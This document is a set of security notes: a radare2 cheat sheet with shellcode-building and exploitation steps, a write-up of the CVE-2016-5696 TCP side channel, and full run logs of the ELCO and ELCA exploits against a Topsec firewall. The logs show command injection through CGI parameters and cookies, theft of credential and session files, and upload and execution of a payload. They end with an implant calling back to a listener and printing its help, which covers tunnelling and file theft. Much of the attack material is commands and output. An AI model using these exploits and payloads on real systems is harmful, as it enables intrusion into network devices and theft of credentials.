_ # fuzzy flag searcher

x/X # show xrefs/refs

d # define function
f # analyze function
d # define
r # rename function
fun.callme # function name

Editing

# r2 -w challenge

[Command mode]
[addr]> oo+ # Reopen the current file in read-write

[addr]> wz "See you in shell" # write string\00 at current seek

[addr]> wx 0xcafe @ 0x100 # write 0xcafe at 0x100

[addr]> wb 0x010203 # write the current block cycling 0x010203 pattern

[addr]> woe 42 3 @ edi ! 32 # a = 42; for i in xrange(32): edi[i] = a; a += 3

[addr]> wox 0xcafe @ ebx ! 2 # cf = [0xca, 0xfe]; for i in xrange(2): ebx[i] ^= cf[i]

[Visual mode]
[addr]> v # hex view

c # cursor
<tab> # switch between hex and plain areas
i # insert values
<shift><hjkl> + y # select and copy
<hjkl> + Y # find position and paste

[addr]> v # hex view
a # assemble code
A # visual assembler

ESIL (Evaluable String Intermediate Language)

[addr]> vip

:> s 0x08048486
:> e asm.emu = true # Run ESIL emulation analysis on disasm
:> e asm.esil = true # Show ESIL instead of mnemonic
:> e io.cache = true # Enable cache for io changes
:> aei # initialize ESIL VM state
:> aeip # initialize ESIL pc to curseek
:> aer eax=0x1234
:> aer
:> "aecue 0x1234,eax,^" # Continue until evil expression is true
ESIL BREAK!
:> s `aer~eip[1]`
:> pd -1

Exploiting

[addr]> iI~canary,nx,pic,crypto,class,arch,bits,stripped,static

[addr]> wopD 100 @ eax # Write a De Bruijn pattern
[addr]> wopO 0x41614141 # or wopO $$ - Finds the value into a De Bruijn pattern
[addr]> gi exec # Compile shellcode
[addr]> wx `g` @ eax # Write shellcode at @eax
[addr]> wb 0x90 @ eax+24 ! 52
[addr]> wv `/R call eax~eax:1[0]` @ eax+76 # Write value (address)
[addr]> pcp 80 @ eax # Print Code Python

Project management

[addr]> Ps <name> # save project
[addr]> Po <name> # open project
[addr]> Pn # show project notes
[addr]> Pn - # edit project notes

# radare2 utilities


rax2: base converter

# rax2 =2 31337
111101001101001b

# rax2 =16 111101001101001b
0x7a69

# rax2 -s 64656164
dead

# rax2 -S babe
62616265

# rax2 =16 0xbeef^0x7411
0xcafe

rabin2: binary program info extractor

# rabin2 -d challenge # show debug/dwarf information
# rabin2 -e challenge # show entrypoints
# rabin2 -H challenge # show headers
# rabin2 -I challenge # show binary info
# rabin2 -i challenge # show imports
# rabin2 -l challenge # list linked libraries
# rabin2 -R challenge # show relocations
# rabin2 -s challenge # show exported symbols
# rabin2 -S challenge # show sections
# rabin2 -z challenge # show strings inside .data section
# rabin2 -zz challenge # show strings
# rabin2 -g challenge # show all possible information

rasm2: assembler and disassembler tool

# rasm2 -a x86 -b 32 'mov eax, 33' # assemble
# rasm2 -a x86 -b 32 -d -s intel b821000000 # disassemble in intel
# rasm2 -a x86 -b 32 -d -s intel "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
# rasm2 -a x86 -b 32 -E b821000000 # disassemble in esil
# rasm2 -L # list asm plugins
# rasm2 -a avr -b 8 -w spm # describe opcode (spm)

radiff2: unified binary diffing utility

# radiff2 -a x86 -b 64 /bin/true /bin/false 
# radiff2 -a x86 -b 64 -AA -C /bin/true /bin/false # code diffing using grapdiff algorithm

rafind2: advanced commandline hexadecimal editor

# rafind2 -z challenge # display zero-terminated strings
# rafind2 -s secret -X challenge # search a specific string and display hexdump
# rafind2 -m challenge # carve for known file-types

rahash2: block based hashing utility

# rahash2 -L # list available algorithms
# rahash2 -a all challenge # hash the file with all algorithms
# rahash2 -B -b 512 -a entropy challenge # entropy for each 512 byte block
# rahash2 -B -b 512 -a sha512 challenge # sha256 hash for each 512 byte block
# rahash2 -a sha384 -s "1234" # hash a string
# rahash2 -E base91 challenge # encode with base91
# rahash2 -E blowfish -S secretkey challenge # encrypt with blowfish

rarun2: run programs in exotic environments

Directives:
arg[0-3]: set arguments
aslr: enable/disable
clearenv
connect: stdin/stdout/stderr to a socket
input: string passed to stdin
libpath: override shared libraries path
listen: bound stdin/stdout/stderr to a listening socket
preload: a library
program: to be executed
setenv: set value to a given environment variable
setuid: set process user id
sleep: seconds
stdin: select file to read data
stdout: select file to write data
unsetenv: unset one environment variable
# rarun2 program=challenge listen=1234
# nc -v localhost 1234

ragg2-cc: CC frontend for compiling shellcodes

# cat execve.c
int main(){
        char *shell[2];
        shell[0]="/bin/sh";
        shell[1]=0;
        execve("/bin/sh",shell,NULL);
}
# ragg2-cc -a x86 -b 64 -k linux -x execve.c
eb00488d3d1b00000066480f6ec70f294424e8488d7424e831d2b83b0000000f0531c0c32f62696e2f736800

ragg2: frontend for r_egg

# ragg2 -a x86 -b 64 -k linux -f elf -i exec -e xor -c key=0xcc -s
.hex 31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05

# ragg2 -a x86 -b 64 -k linux -f elf -B `ragg2-cc -a x86 -b 64 -k linux -x execve.c` -e xor -c key=0xcc -s
.hex eb00488d3d1b00000066480f6ec70f294424e8488d7424e831d2b83b0000000f0531c0c32f62696e2f736800

# CVE-2016-5696: Global Rate Limit and Challenge ACKs


Pre-RFC 5961

- When a SYN packet is received,
   - if seq.num is in-window,
      - the receiver resets this connection.
   - else,
      - the receiver sends an ACK back to the sender.

- When a RST packet is received,
   - if seq.num is in-window,
      - the receiver resets this connection.

Post-RFC 5961

- When a SYN packet is received,
   - the receiver sends a challenge ACK back to the sender.
   - the sender sends a RST with the correct seq.num (derived from the challenge ACK).

- When a RST packet is received,
   - if seq.num exactly matches the next seq.num,
      - the connection is reset.
   - else, if seq.num is in-window,
      - the receiver sends a challenge ACK back to the sender.
   - else,
      - the receiver drops the packet.

Vulnerability

Use of a Global Rate Limit counter that is static (non-random, set to 100 by default) and shared for all the TCP connections.
The shared state can be exploited as a side channel to infer:

   - if a connection specified by its four-tuple exists
   - the next expected seq.num
   - the next expected ack.num

Connection (four-tuple) inference
(attacker) -- SYN/ACK + ClientIP/¿ClientPort_N?/ServerIP/ServerPort --> (server)
(server) -- RST --> (client)
(attacker) x 100 -- SYN/ACK + AttackerIP/AttackerPort/ServerIP/ServerPort --> (server)
(server) x 100 -- Challenge ACK --> (attacker)
...
(attacker) -- SYN/ACK + ClientIP/ClientPort/ServerIP/ServePort -->  (server)
(server) -- Challenge ACK -->  (client)
(attacker) x 100 -- SYN/ACK + AttackerIP/AttackerPort/ServerIP/ServerPort -->  (server)
(server) x 99 -- Challenge ACK -->  (attacker)

Sequence number inference
(attacker) -- RST + ClientIP/ClientPort/ServerIP/ServerPort + seq.num out-of-window -->  (server)
(server) --> Drop 
(attacker) x 100 -- RST + AttackerIP/AttackerPort/ServerIP/ServerPort + seq.num -->  (server)
(server) x 100 -- Challenge ACK -->  (attacker)
...
(attacker) -- RST + ClientIP/ClientPort/ServerIP/ServerPort + seq.num in-window --> (server)
(server) -- Challenge ACK --> (client)
(attacker) x 100 -- RST + AttackerIP/AttackerPort/ServerIP/ServerPort + seq.num --> (server)
(server) x 99 -- Challenge ACK --> (attacker)

ACK number inference
(attacker) -- ACK + ClientIP/ClientPort/ServerIP/ServerPort + seq.num out-of-window --> (server)
(server) --> Drop/Accept
(attacker) x 100 -- RST + AttackerIP/AttackerPort/ServerIP/ServerPort + seq.num --> (server)
(server) x 100 -- Challenge ACK --> (attacker)
...
(attacker) -- ACK + ClientIP/ClientPort/ServerIP/ServerPort + seq.num in-window --> (server)
(server) -- Challenge ACK --> (client)
(attacker) x 100 -- RST + AttackerIP/AttackerPort/ServerIP/ServerPort + seq.num --> (server)
(server) x 99 -- Challenge ACK --> (attacker)

References

https://tools.ietf.org/html/rfc5961
https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_cao.pdf
https://github.com/Gnoxter/mountain_goat
https://github.com/violentshell/rover

# Eligible Contestant (ELCO) exploit


# cat ELCA.txt
# LD_LIBRARY_PATH=/current/bin/lib ./noclient -l 1234

NOPEN!                             v3.0.5.3

Wed Aug 17 19:14:54 GMT 2016
NHOME: environment variable not set, assuming "NHOME=/current/bin/.."
NHOME=/current/bin/..
TERM=xterm-256color
Entering callback mode
Waiting...
# LD_LIBRARY_PATH=/current/bin/lib ./eligiblecontestant.py -t https://127.0.0.1:443 touch
[+] Seeded PRNG with 1471461306.3
[+] Preparing to run specified command...
Exploit variables
=========================
   cert = None :: CA File
   target = https://127.0.0.1:443 :: Target to exploit. (Ex: https://127.0.0.1:1234)
   binpath = /current/bin/noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static :: Path to tool being used.
   color = False :: Enable log output colors.
   verify = False :: Enable SSL verification
   tool = nopen :: No help available
   loadlast = False :: Load last session used.
   quiet = False :: Disable verbose logging
   ask = False :: Enable confirmation prompting before running commands.
   host =   :: Host header to use (default: empty
   session = None :: Use specified session file.
   mode = nopen :: Mode to use against target
   timeout = 120 :: Socket timeout
   debug = False :: Enable debug output. (Warning: prepare for spam)
['target']
Namespace(ask=False, binpath=u'/current/bin/noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static', cert=None, color=False, debug=False, func=<unbound method ELCOExploit.do_touch>, host=' ', loadlast=False, mode='nopen', quiet=False, session=None, target='https://127.0.0.1:443', timeout=120, tool=u'nopen', verify=False)
[+] Requesting head https://127.0.0.1:443/site/image/white.gif with following provided settings: {'allow_redirects': False}
[+] Starting new HTTPS connection (1): 127.0.0.1
[+] "HEAD /site/image/white.gif HTTP/1.1" 200 0
[+] Touch result: HEAD /site/image/white.gif - 200
[+] Touch result: Header: last-modified -- Fri, 18 Aug 2006 19:07:33 GMT
[+] Touch result: Header: content-length -- 837
[+] Touch result: Header: etag -- W/"3cd-345-4ce49cb1"
[+] Touch result: Header: date -- Fri, 18 Aug 2006 19:07:33 GMT
[+] Touch result: Header: accept-ranges -- bytes
[+] Touch result: Header: content-type -- image/gif
[+] Touch result: Header: server -- Topsec
[+] Touch result: HEAD /site/image/white.gif - 200
[+] Touch result: Header: last-modified -- Fri, 18 Aug 2006 19:07:33 GMT
[+] Touch result: Header: content-length -- 837
[+] Touch result: Header: etag -- W/"3cd-345-4ce49cb1"
[+] Touch result: Header: date -- Fri, 18 Aug 2006 19:07:33 GMT
[+] Touch result: Header: accept-ranges -- bytes
[+] Touch result: Header: content-type -- image/gif
[+] Touch result: Header: server -- Topsec
[+] Saving session info to .last_session
[+] Log files saved to /current/down/fosho/2016-08-17-201506.log and /current/down/fosho/2016-08-17-201506_http.log

# LD_LIBRARY_PATH=/current/bin/lib ./eligiblecontestant.py -l probe
[+] Seeded PRNG with 1471461312.61
[+] Preparing to run specified command...
Exploit variables
=========================
   cert = None :: CA File
   target = https://127.0.0.1:443 :: Target to exploit. (Ex: https://127.0.0.1:1234)
   binpath = /current/bin/noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static :: Path to tool being used.
   color = False :: Enable log output colors.
   verify = False :: Enable SSL verification
   tool = nopen :: No help available
   loadlast = True :: Load last session used.
   quiet = False :: Disable verbose logging
   ask = False :: Enable confirmation prompting before running commands.
   host =   :: Host header to use (default: empty
   session = None :: Use specified session file.
   mode = nopen :: Mode to use against target
   timeout = 120 :: Socket timeout
   debug = False :: Enable debug output. (Warning: prepare for spam)
['target']
Namespace(ask=False, binpath=u'/current/bin/noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static', cert=None, color=False, debug=False, func=<unbound method ELCOExploit.do_probe>, host=u' ', loadlast=True, mode=u'nopen', quiet=False, session=None, target=u'https://127.0.0.1:443', timeout=120, tool=u'nopen', verify=False)
[+] Scheduling cleanup in 60 seconds...
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'allow_redirects': True, 'params': {'Url': 'Command', 'Action': 'sh', 'Para': 'sh -c (\tsleep\t60\t&&\trm\t-f\t/www/htdocs/site/pages/.JmiwrZV\t)'}}
[+] Starting new HTTPS connection (1): 127.0.0.1
[+] "GET /cgi/maincgi.cgi?Url=Command&Action=sh&Para=sh+-c+%28%09sleep%0960%09%26%26%09rm%09-f%09%2Fwww%2Fhtdocs%2Fsite%2Fpages%2F.JmiwrZV%09%29 HTTP/1.1" 200 None
[+] Probing system and retrieving target info...
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'allow_redirects': True, 'params': {'Url': 'Command', 'Action': 'sh', 'Para': 'sh -c (\tcat\t/e*/is*\t&&\tuname\t-a\t&&\t/t*/b*/cfgt*\tsystem\tadmininfo\tshowonline\t&&\tcat\t/*/*coo*/*\t)>/www/htdocs/site/pages/.JmiwrZV'}}
[+] "GET /cgi/maincgi.cgi?Url=Command&Action=sh&Para=sh+-c+%28%09cat%09%2Fe%2A%2Fis%2A%09%26%26%09uname%09-a%09%26%26%09%2Ft%2A%2Fb%2A%2Fcfgt%2A%09system%09admininfo%09showonline%09%26%26%09cat%09%2F%2A%2F%2Acoo%2A%2F%2A%09%29%3E%2Fwww%2Fhtdocs%2Fsite%2Fpages%2F.JmiwrZV HTTP/1.1" 200 None
[+] Requesting get https://127.0.0.1:443/site/pages/.JmiwrZV with following provided settings: {'allow_redirects': True}
[+] "GET /site/pages/.JmiwrZV HTTP/1.1" 200 584
[+] System information retrieved:
Topsec Operating System v3.3.006.076.1
Topsec Network Security Technology CO.,LTD
http://www.topsec.com.cn
Linux (none) 2.6.27 #1 Thu Nov 18 11:15:12 HKT 2010 i686 unknown
Manager_name       Auth_address       Privilege          Online_time(hh:mm:ss)

tosusername=test
tospassword=dGVzdA==
tosusertype=7
auth_id=47
g_vsid=0
logintime=1150174789
milsecond=956
refreshtimes=0
sys_setup=2
sys_maintainance=2
sys_monitor=2
network=2
policy=2
vpn=2
sslvpn=2
aaa_conf=2
log_conf=2
log_access=2
anti_virus=2
resource_conf=2
dpi_conf=2
pki_conf=2
ids_conf=2
anti_spam=2
ha_conf=2

[+] Forcing removal of temp file from target now...
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'allow_redirects': True, 'params': {'Url': 'Command', 'Action': 'sh', 'Para': 'sh -c killall\tsleep\t&&\trm\t-f\t/www/htdocs/site/pages/.JmiwrZV'}}
[+] "GET /cgi/maincgi.cgi?Url=Command&Action=sh&Para=sh+-c+killall%09sleep%09%26%26%09rm%09-f%09%2Fwww%2Fhtdocs%2Fsite%2Fpages%2F.JmiwrZV HTTP/1.1" 200 None
[-] User may be logged in. PLEASE REVIEW SYSTEM INFO
[+] Target is vulnerable. Safe to proceed.
[+] Saving session info to .last_session
[+] Log files saved to /current/down/fosho/2016-08-17-201512.log and /current/down/fosho/2016-08-17-201512_http.log

# LD_LIBRARY_PATH=/current/bin/lib ./eligiblecontestant.py -l exploit -c 127.0.0.1:1234
[+] Seeded PRNG with 1471461330.38
[+] Preparing to run specified command...
Exploit variables
=========================
   cert = None :: CA File
   target = https://127.0.0.1:443 :: Target to exploit. (Ex: https://127.0.0.1:1234)
   binpath = /current/bin/noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static :: Path to tool being used.
   color = False :: Enable log output colors.
   verify = False :: Enable SSL verification
   tool = nopen :: No help available
   loadlast = True :: Load last session used.
   quiet = False :: Disable verbose logging
   ask = False :: Enable confirmation prompting before running commands.
   host =   :: Host header to use (default: empty
   session = None :: Use specified session file.
   mode = nopen :: Mode to use against target
   timeout = 120 :: Socket timeout
   debug = False :: Enable debug output. (Warning: prepare for spam)
   callback = 127.0.0.1:1234 :: Callback IP:Port for tool (Example: 127.0.0.1:12345)
['target', 'binpath', 'callback', 'mode']
Namespace(ask=False, binpath=u'/current/bin/noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static', callback='127.0.0.1:1234', cert=None, color=False, debug=False, func=<unbound method ELCOExploit.do_exploit>, host=u' ', loadlast=True, mode=u'nopen', quiet=False, session=None, target=u'https://127.0.0.1:443', timeout=120, tool=u'nopen', verify=False)
[+] Uploading and running payload...
[+] Requesting post https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'files': {'vvnHD': <StringIO.StringIO instance at 0xb6d9454c>}, 'data': {'Url': 'Command', 'Action': 'sh', 'Para': 'sh -c rm\t-f\t/tmp/ht*;tar\txzvf\t`ls\t-c\t/tmp/cgi*|head\t-n\t1`\t-C\t/tmp/\t&&\tchmod\t+x\t/tmp/ht*;/tmp/htpd'}}
[+] Starting new HTTPS connection (1): 127.0.0.1
[+] "POST /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Exploit complete. Got root?
[+] Saving session info to .last_session
[+] Log files saved to /current/down/fosho/2016-08-17-201530.log and /current/down/fosho/2016-08-17-201530_http.log
# LD_LIBRARY_PATH=/current/bin/lib ./noclient -l 1234

NOPEN!                             v3.0.5.3

Wed Aug 17 19:14:54 GMT 2016
NHOME: environment variable not set, assuming "NHOME=/current/bin/.."
NHOME=/current/bin/..
TERM=xterm-256color
Entering callback mode
Waiting...
Listening on *:1234... ok
Accepted connection from 127.0.0.1:39636
Initiating RSA key exchange
  Generating random number... ok
  Initializing RC6... ok
  Sending random number... ok
  Receiving random number... ok
  Generating session key... 0x1D1FFA80837E2AE0ED44E8C441F1405C
  Sending first verify string... ok
  Receiving second verify string... ok
  Checking second verify string... ok
RSA key exchange complete
NOPEN server version... 3.0.5.3

Connection
  Bytes In / Out     196/75 (261%C) / 63/4 (1575%C)
  Local Host:Port    localhost:1234 (127.0.0.1:1234)
  Remote Host:Port   127.0.0.1:0 (127.0.0.1:0)
  Remote Host:Port   (none):39636 (127.0.0.1:39636)
Local
  NOPEN client       3.0.5.3
  Date/Time          Wed Aug 17 19:15:34 UTC 2016
  History
  Command Out
  CWD                /current/bin
  NHOME              /current/bin/..
  PID (PPID)         4871 (4525)
Remote
  NOPEN server       3.0.5.3
  WDIR               NOT SET
  OS                 Linux 2.6.27 #1 Thu Nov 18 11:15:12 HKT 2010 i686
  CWD                /
  PID (PPID)         723 (1)

History loaded from "/current/bin/../down/history/(none).127.0.0.1"... ok
Creating command output file "/current/bin/../down/cmdout/(none).127.0.0.1-2016-08-17-19:15:35"... ok

Lonely?  Bored?  Need advice?  Maybe "-help" will show you the way.

We are starting up our virtual autoport
We are bound and ready to go on port 1025
NO! (none):/>

# Eligible Candidate (ELCA) exploit


# cat ELCA.txt
# LD_LIBRARY_PATH=/current/bin/lib ./noclient -l 1234

NOPEN!                             v3.0.5.3

Wed Aug 17 18:07:07 GMT 2016
NHOME: environment variable not set, assuming "NHOME=/current/bin/.."
NHOME=/current/bin/..
TERM=xterm-256color
Entering callback mode
Waiting...
# LD_LIBRARY_PATH=/current/bin/lib ./eligiblecandidate.py -t https://127.0.0.1:443 touch
[+] Seeded PRNG with 1471457257.4
[+] Preparing to run specified command...
Exploit variables
=========================
   cert = None :: CA File
   target = https://127.0.0.1:443 :: Target to exploit. (Ex: https://127.0.0.1:1234)
   cid = None :: Name of session ID in cookie (default: auto)
   color = False :: Enable log output colors.
   verify = False :: Enable SSL verification
   tool = nopen :: No help available
   loadlast = False :: Load last session used.
   quiet = False :: Disable verbose logging
   binpath =  :: Path to tool being used.
   ask = False :: Enable confirmation prompting before running commands.
   host =   :: Host header to use (default: empty
   session = None :: Use specified session file.
   mode = nopen :: Mode to use against target
   timeout = 120 :: Socket timeout
   debug = False :: Enable debug output. (Warning: prepare for spam)
['target']
Namespace(ask=False, binpath=u'', cert=None, cid=None, color=False, debug=False, func=<unbound method ELCAExploit.do_touch>, host=' ', loadlast=False, mode='nopen', quiet=False, session=None, target='https://127.0.0.1:443', timeout=120, tool=u'nopen', verify=False)
[+] Requesting head https://127.0.0.1:443/site/image/white.gif with following provided settings: {'allow_redirects': False}
[+] Starting new HTTPS connection (1): 127.0.0.1
[+] "HEAD /site/image/white.gif HTTP/1.1" 200 0
[+] Etag - 439-345-4cb57ebd; Last modified - Wed Oct 13 10:41:17 2010
[+] Touch result: HEAD /site/image/white.gif - 200
[+] Touch result: Header: last-modified -- Wed, 13 Oct 2010 09:41:17 GMT
[+] Touch result: Header: content-length -- 837
[+] Touch result: Header: etag -- "439-345-4cb57ebd"
[+] Touch result: Header: date -- Wed, 17 Aug 2016 18:06:54 GMT
[+] Touch result: Header: accept-ranges -- bytes
[+] Touch result: Header: content-type -- image/gif
[+] Touch result: Header: server -- Topsec
[+] Saving session info to .last_session
[+] Log files saved to /current/down/fosho/2016-08-17-190737.log and /current/down/fosho/2016-08-17-190737_http.log

# LD_LIBRARY_PATH=/current/bin/lib ./eligiblecandidate.py -l probe
[+] Seeded PRNG with 1471457319.73
[+] Preparing to run specified command...
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'allow_redirects': True}
[+] Starting new HTTPS connection (1): 127.0.0.1
[+] "GET /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Detected cookie id: session_id
Exploit variables
=========================
   cert = None :: CA File
   target = https://127.0.0.1:443 :: Target to exploit. (Ex: https://127.0.0.1:1234)
   cid = session_id :: Name of session ID in cookie (default: auto)
   color = False :: Enable log output colors.
   verify = False :: Enable SSL verification
   tool = nopen :: No help available
   loadlast = True :: Load last session used.
   quiet = False :: Disable verbose logging
   binpath =  :: Path to tool being used.
   ask = False :: Enable confirmation prompting before running commands.
   host =   :: Host header to use (default: empty
   session = None :: Use specified session file.
   mode = nopen :: Mode to use against target
   timeout = 120 :: Socket timeout
   debug = False :: Enable debug output. (Warning: prepare for spam)
['target', 'cid']
Namespace(ask=False, binpath=u'', cert=None, cid='session_id', color=False, debug=False, func=<unbound method ELCAExploit.do_probe>, host=u' ', loadlast=True, mode=u'nopen', quiet=False, session=None, target=u'https://127.0.0.1:443', timeout=120, tool=u'nopen', verify=False)
[+] Checking current /site/pages/index.html etag
[+] Requesting head https://127.0.0.1:443/site/pages/index.html with following provided settings: {'allow_redirects': False}
[+] "HEAD /site/pages/index.html HTTP/1.1" 200 0
[+] Running touch on /site/pages/index.html
[+] Running command on target: x`touch /w*/*/*/p*/*`
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'cookies': {'session_id': 'x`touch /w*/*/*/p*/*`'}, 'allow_redirects': True}
[+] "GET /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Checking etag again to confirm
[+] Requesting head https://127.0.0.1:443/site/pages/index.html with following provided settings: {'allow_redirects': False}
[+] "HEAD /site/pages/index.html HTTP/1.1" 200 0
[+] Target is vulnerable. Safe to proceed.
[+] Saving session info to .last_session
[+] Log files saved to /current/down/fosho/2016-08-17-190839.log and /current/down/fosho/2016-08-17-190839_http.log

# LD_LIBRARY_PATH=/current/bin/lib ./eligiblecandidate.py -l exploit -p noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static -c 127.0.0.1:1234
[+] Seeded PRNG with 1471457351.78
[+] Preparing to run specified command...
[+] Already know cookie id: session_id
Exploit variables
=========================
   cert = None :: CA File
   target = https://127.0.0.1:443 :: Target to exploit. (Ex: https://127.0.0.1:1234)
   cid = session_id :: Name of session ID in cookie (default: auto)
   color = False :: Enable log output colors.
   verify = False :: Enable SSL verification
   tool = nopen :: No help available
   loadlast = True :: Load last session used.
   quiet = False :: Disable verbose logging
   binpath = noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static :: Path to tool being used.
   ask = False :: Enable confirmation prompting before running commands.
   host =   :: Host header to use (default: empty
   session = None :: Use specified session file.
   mode = nopen :: Mode to use against target
   timeout = 120 :: Socket timeout
   debug = False :: Enable debug output. (Warning: prepare for spam)
   callback = 127.0.0.1:1234 :: Callback IP:Port for tool (Example: 127.0.0.1:12345)
['target', 'binpath', 'callback', 'mode', 'cid']
Namespace(ask=False, binpath='noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static', callback='127.0.0.1:1234', cert=None, cid='session_id', color=False, debug=False, func=<unbound method ELCAExploit.do_exploit>, host=u' ', loadlast=True, mode=u'nopen', quiet=False, session=None, target=u'https://127.0.0.1:443', timeout=120, tool=u'nopen', verify=False)
[+] Cleaning up /tmp/ ...
[+] Running command on target: x`rm -f /t*/cgi*`
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'cookies': {'session_id': 'x`rm -f /t*/cgi*`'}, 'allow_redirects': True}
[+] Starting new HTTPS connection (1): 127.0.0.1
[+] "GET /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Uploading and moving file...
[+] Requesting post https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'files': {'uiIwq': <StringIO.StringIO instance at 0xb6dab86c>}, 'cookies': {'session_id': 'x`cp /t*/cg* /tmp/.a`'}, 'data': None}
[+] "POST /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Making file executable...
[+] Running command on target: x`chmod +x /tmp/.a`
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'cookies': {'session_id': 'x`chmod +x /tmp/.a`'}, 'allow_redirects': True}
[+] "GET /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Running payload...
[+] Running command on target: x`/tmp/.a 2>&1`
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'cookies': {'session_id': 'x`/tmp/.a 2>&1`'}, 'allow_redirects': True}
[+] "GET /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Exploit complete. Got root?
[+] Saving session info to .last_session
[+] Log files saved to /current/down/fosho/2016-08-17-190911.log and /current/down/fosho/2016-08-17-190911_http.log
# LD_LIBRARY_PATH=/current/bin/lib ./noclient -l 1234

NOPEN!                             v3.0.5.3

Wed Aug 17 18:07:07 GMT 2016
NHOME: environment variable not set, assuming "NHOME=/current/bin/.."
NHOME=/current/bin/..
TERM=xterm-256color
Entering callback mode
Waiting...
Listening on *:1234... ok
Accepted connection from 127.0.0.1:34192
Initiating RSA key exchange
  Generating random number... ok
  Initializing RC6... ok
  Sending random number... ok
  Receiving random number... ok
  Generating session key... 0x6FE82C9C3156C88448659B6E034C6D30
  Sending first verify string... ok
  Receiving second verify string... ok
  Checking second verify string... ok
RSA key exchange complete
NOPEN server version... 3.0.5.3

Connection
  Bytes In / Out     199/75 (265%C) / 63/4 (1575%C)
  Local Host:Port    localhost:1234 (127.0.0.1:1234)
  Remote Host:Port   127.0.0.1:0 (127.0.0.1:0)
  Remote Host:Port   (none):34192 (127.0.0.1:34192)
Local
  NOPEN client       3.0.5.3
  Date/Time          Wed Aug 17 18:09:16 UTC 2016
  History
  Command Out
  CWD                /current/bin
  NHOME              /current/bin/..
  PID (PPID)         4689 (4525)
Remote
  NOPEN server       3.0.5.3
  WDIR               NOT SET
  OS                 Linux 2.4.19 #4 Wed Oct 13 17:29:47 CST 2010 i686
  CWD
  PID (PPID)         2416 (1)

History loaded from "/current/bin/../down/history/(none).127.0.0.1"... ok
Creating command output file "/current/bin/../down/cmdout/(none).127.0.0.1-2016-08-17-18:09:17"... ok

Lonely?  Bored?  Need advice?  Maybe "-help" will show you the way.

We are starting up our virtual autoport
We are bound and ready to go on port 1025
NO! (none):>-help
[08-17-16 18:09:35 GMT][localhost:1234 -> (none).127.0.0.1:34192]
[-help]

Remote General Commands:
Usage: -elevate
Usage: -getenv
Usage: -gs category|filename [options-if-any]
Usage: -setenv VAR=[val]
Usage: -shell
Usage: -status
Usage: -time

Remote Server Commands:
Usage: -burn
Usage: -call ip port
Usage: -listen port
Usage: -pid

Remote Network Commands:
Usage: -icmptime target_ip [source_ip]
Usage: -ifconfig
Usage: -nslookup name1 ...
Usage: -ping -r remote_target_ip [-l local_source_ip] [-i|-u|-t] [-p dest_port] [-s src_port]
       -ping host
       -ping [-u|-t|-i] host
Usage: -trace -r remote_target_ip [-l local_source_ip] [-i|-u|-t] [-p dest_port] [-s src_port]
       -trace host
       -trace [-u|-t|-i] host

Remote Redirection Commands:
Usage: -fixudp port
Usage: -irtun target_ip call_back_port [call_back_ip] [ourtn arguements]
Usage: -jackpop target_ip target_port source_ip source_port
Usage: -nrtun port [toip [toport]]
Usage: -nstun toip [toport [localport [srcport [command]]]]
       -nstun toip:port
Usage: -rawsend tcp_port
Usage: -rtun port [toip [toport]]
Usage: -scan
Usage: -sentry target_address source_address (tcp|udp) dest_port src_port interface
Usage: -stun toip toport [localport [srcport]]
Usage: -sutun [-t ttl] toip toport [localport [srcport]]
Usage: -tunnel [command_listen_port [udp]]
Usage: -vscan  (should add help)

Remote File Commands:
Usage: -cat remfile
Usage: -chili [-l] [-s lines] [-m max] MM-DD-YYYY remdir remfile [remfile ...]
Usage: -cksum remfile ...
Usage: -fget [MM-DD-YYYY] loclist
Usage: -get [-l] [-q] [-s minimumsize] [-m MM-DD-YYYY] remfile ...
Usage: -grep [-d] [-v] [-n] [-i] [-h] [-C number_of_context_lines] pattern file1 [file2 ...]
Usage: -oget [-a] [-q] [-s begoff] [-b begoff] [-e endoff] remfile
Usage: -put locfile remfile [mode]
Usage: -strings remfile
Usage: -tail [+/-n] remfile, + to skip n lines of remfile beginning
Usage: -touch [-t mtime:atime | refremfile] remfile
Usage: -rm remfile|remdir ...
Usage: -upload file port
Usage: -mailgrep [-l] [-m maxbytes] [-r "regexp" [-v]] [-f regexpfilename [-v]] [-a "regexp for attachments to eliminate"] [-b MM-DD-YYYY] [-e MM-DD-YYYY] [-d remotedumpfile] remotedir file1 [file2 ...]
 ex: -mailgrep -a ".doc" -r "^Fred" -b 2-28-2002 /var/spool/mail G*

Remote Directory Commands:
Usage: -find [-M | -m -mkfindsargs] [-x[m|a|c] MM-DD-YYYY] remdir [remdir...]
Usage: -ls [-1ihuRt] [-x[m|a|c] MM-DD-YYYY] [remfile|remdir ...]
Usage: -cd [remdir]
Usage: -cdp

Local Client Commands:
Usage: -autopilot port [xml]
Usage: -cmdout [locfilename]
Usage: -exit
Usage: -help
Usage: -hist
Usage: -readrc [locfile]
